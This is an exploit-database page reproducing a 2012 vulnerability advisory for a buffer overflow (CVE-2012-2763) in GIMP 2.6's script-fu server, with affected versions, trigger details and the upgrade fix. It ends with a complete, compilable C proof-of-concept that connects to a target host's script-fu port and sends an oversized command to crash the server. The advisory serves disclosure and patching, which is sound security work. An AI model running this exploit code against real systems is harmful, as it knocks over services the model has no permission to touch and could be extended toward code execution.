Lucene search

K
zdtJoseph Sheridan1337DAY-ID-18396
HistoryMay 31, 2012 - 12:00 a.m.

GIMP 2.6 script-fu Buffer Overflow

2012-05-3100:00:00
Joseph Sheridan
0day.today
20

Exploit for windows platform in category dos / poc

GIMP 2.6 script-fu Buffer Overflow

There is a buffer overflow in the script-fu server component of GIMP 

(the GNU Image Manipulation Program) in all 2.6 versions (Windows and Linux
versions) affecting both 

the script-fu console and the script-fu network server. A crafted msg to the


script-fu server overflows a buffer and overwrites several function pointers


allowing the attacker to gain control of EIP and potentially execute
arbitrary 

code. This issue is fixed in the latest, stable GIMP version (currently
2.8.0).

 

CVE number: CVE-2012-2763

Impact: high

Vendor Homepage: http://www.gimp.org/

Date found: 18/05/2012

Found by: Joseph Sheridan of Reaction Information Security

Homepage: http://www.reactionpenetrationtesting.co.uk

 

This advisory is posted at:

http://www.reactionpenetrationtesting.co.uk/advisories/scriptfu-buffer-overf
low-GIMP-2.6.html

 

PoC Code is available here:

http://www.reactionpenetrationtesting.co.uk/advisories/scriptfubof.c

 

Affected Products

=================

 

Vulnerable Products

+------------------

 

The following products are known to be affected by this vulnerability:

 

  * GIMP <= 2.6.12 (Windows or Linux builds)

 

Products Confirmed Not Vulnerable

+--------------------------------

 

The following products are known not to be affected by this

vulnerability:

 

  * GIMP 2.8.0 (current stable release)

 

Details

=======

 

There is a buffer overflow in the command parsing code such that a long
command

overwrites various function pointers on the heap and gives the attacker full
control 

of EIP. The following command sent to the script-fu server will trigger the 

vulnerability:

 

(file-bmp-load 123

aaaaaaaaaaaaa...a*1000...aaaaaaaaaa

raw-filename)

 

Impact

======

 

Successful exploitation of the vulnerability may result in remote code
execution.

 

Solution

===========

Upgrade to the latest stable version of GIMP (currently 2.8 branch) - the
2.6 branch is 

no longer supported by the GIMP development team.

 

Workarounds

===========

 

A workaround would be not to use this feature on a vulnerable version of
GIMP.

The GIMP development team have strongly suggested only using the 

script-fu network server in a secure/sandboxed environment due to 

security concerns.

 

Updates

============

 

Future updates of this advisory, if any, will be placed on the ReactionIS

corporate website, but may or may not be actively announced on

mailing lists or newsgroups. Users concerned about this problem are

encouraged to check the URL below for any updates:

 

http://www.reactionpenetrationtesting.co.uk/advisories/scriptfu-buffer-overf
low-GIMP-2.6.html

 

============================================================================
====


////////////////////////////////////////////////////////////////
//															  //
// PoC for GIMP <= 2.6 Script-Fu server buffer overflow       //
// Author: Joseph Sheridan									  //
// Date: 20/05/2012											  //
//															  //
// compile with	cl scriptfubof.c /link wsock32.lib       	  //
////////////////////////////////////////////////////////////////

#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
#define DEFAULT_PORT 10008
// TCP socket type
#define DEFAULT_PROTO SOCK_STREAM
void senddata();
void recvdata();
WSADATA wsaData;
SOCKET  conn_socket;
char Buffer[2000000];
char inBuffer[128];
	
void Usage()
{
	printf("Usage: scriptfubof servername portnumber\n");
	fflush(stdout);
	exit(1);
}
  
int main(int argc, char *argv[])
{
	
	// default to localhost
	char *server_name= "localhost";
	unsigned short port = DEFAULT_PORT;
	int i, loopcount, maxloop=-1;
	int retval;
	unsigned int addr;
	int socket_type = DEFAULT_PROTO;
	struct sockaddr_in server;

	if (argc < 3) {
		Usage();
	}
	
	if ((retval = WSAStartup(0x202, &wsaData)) != 0)
	{
	   fprintf(stderr,"WSAStartup() failed with error %d\n", retval);
		WSACleanup();
		return -1;
	}
	
	//	Get portnum
	port = atoi(argv[2]);
	
	memset(&server, 0, sizeof(server));
	server.sin_addr.s_addr = inet_addr(argv[1]);
	server.sin_family = AF_INET;
	server.sin_port = htons(port);
 
	conn_socket = socket(AF_INET, socket_type, 0); /* Open a socket */
	if (conn_socket <0 )
	{
		fprintf(stderr,"Client: Error Opening socket: Error %d\n", WSAGetLastError());
		WSACleanup();
		return -1;
	}
	
	if (connect(conn_socket, (struct sockaddr*)&server, sizeof(server)) == SOCKET_ERROR)
	{
		fprintf(stderr,"Client: connect() failed: %d\n", WSAGetLastError());
		WSACleanup();
		return -1;
	}
 
	// Send the data
	senddata();

	// recieve a msg
	recvdata();
	
	closesocket(conn_socket);
	WSACleanup();
 
return 0;
}

void senddata() {

	int loopcount = 0, retval =0;
	unsigned char command[]="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
		
	
	Buffer[0]='\x47'; //Magic byte 'G'
	Buffer[1]=sizeof(command)/256; //High byte of L - L div 256
	Buffer[2]=sizeof(command)%256; //Low byte of L - L mod 256
	strcpy(&Buffer[3],command);
	
	retval = send(conn_socket, Buffer, sizeof(command) +3, 0);
	if (retval == SOCKET_ERROR)
	{
		fprintf(stderr,"Client: send() failed: error %d.\n", WSAGetLastError());
		WSACleanup();
		return;
	}
	else
	  printf("Client: send() is OK.\n");
	printf("Client: Sent data \"%s\"\n", Buffer);
	
}

void recvdata() {
	int i=0;
	int retval=0;
	memset(inBuffer,0,128);
	
	retval = recv(conn_socket, inBuffer, 128, 0);
	printf("retval is :%d\n", retval);
	printf("first char is: %x\n", inBuffer[0]);
	if (retval == SOCKET_ERROR)
   {
		fprintf(stderr,"Client: recv() failed: error %d.\n", WSAGetLastError());
		closesocket(conn_socket);
		WSACleanup();
		return;
	}
	else {
		printf("Client: recv() is OK.\n");
		
		// print the message contents...
		
		for (i=0;i<retval;i++) {
			printf("%c", inBuffer[i]);
			
		}
		printf("\n");
		fflush(stdout);
   }

}




#  0day.today [2018-02-27]  #